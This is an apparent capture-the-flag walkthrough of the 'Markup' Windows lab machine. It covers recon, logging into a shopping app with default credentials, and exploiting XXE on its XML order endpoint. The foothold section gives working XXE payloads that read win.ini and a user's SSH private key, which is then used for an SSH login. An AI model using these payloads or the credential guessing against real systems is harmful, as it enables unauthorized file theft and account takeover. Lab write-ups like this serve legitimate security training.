Markup
A shopping web app accepts default admin credentials, and its XML order endpoint resolves external entities, letting a file:/// payload read a username-hinted user's SSH private key for an interactive login and the user flag.
Overview
Markup is a very-easy Windows box. The web app on port 80 logs in with default credentials, and its Order page submits raw XML to a parser that resolves external entities — a textbook XXE. After proving arbitrary file read with win.ini, a Modified by Daniel comment in the page source names a user, and the same XXE payload pulls Daniel’s SSH private key for an interactive login. This post covers recon through the user flag.
Machine Matrix
Default creds plus a textbook XXE file-read of an SSH key; no named CVE and the source-comment username hint adds a mild CTF-puzzle feel, otherwise straightforward web work.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH for Windows 8.1 | key login |
| 80/tcp | Apache 2.4.41 (PHP 7.2.28) | MegaShopping app |
| 443/tcp | Apache (same stack) | “Bad request!” |
1
nmap -sC -sV 10.10.10.10
Three ports, no credentials in hand, so the web server on port 80 is the obvious starting point.
Enumeration
Port 80 serves a “Welcome!” login page for a shop called MegaShopping. With no credentials, the cheapest first move is a short list of default pairs:
1
2
3
4
5
admin:admin
administrator:administrator
admin:administrator
admin:password
administrator:password
admin:password authenticates and drops onto the store. Of the linked pages, Order stands out — it has structured input fields (type, quantity, address). Intercepting the Submit in Burp reveals the body is raw XML posted to /process.php with Content-Type: text/xml:
1
2
3
4
5
6
<?xml version="1.0"?>
<order>
<quantity>2</quantity>
<item>Home Appliances</item>
<address>Test street</address>
</order>
A server parsing attacker-controlled XML is the cue to test for XML External Entities.
Foothold
1 — Confirm XXE with a local file read. Because the target is Windows, c:/windows/win.ini is a reliable, always-present test file. Add a DOCTYPE declaring an external entity and reference it inside an order field:
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
<order>
<quantity>3</quantity>
<item>&test;</item>
<address>17th Estate, CA</address>
</order>
The response echoes the contents of win.ini back in the processed-order text — the parser resolved the entity, confirming XXE.
2 — Find a target file. Blindly guessing file paths is slow. Viewing the page source of the app surfaces a comment, Modified by Daniel, naming a local user. On a Windows OpenSSH host, the highest-value file for that user is their SSH private key.
3 — Read Daniel’s SSH key over XXE. Point the same entity at his key:
1
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
The response returns a full -----BEGIN ... PRIVATE KEY----- block.
4 — Log in as Daniel. Save the key, lock down its permissions, and authenticate:
1
2
chmod 400 id_rsa
ssh -i id_rsa [email protected]
This yields an interactive markup\daniel shell.
User flag
type C:\Users\daniel\Desktop\user.txt
1
[redacted]
Privilege escalation (a BUILTIN\Users-writable scheduled job.bat that runs as SYSTEM) is left as an exercise — this post stops at user.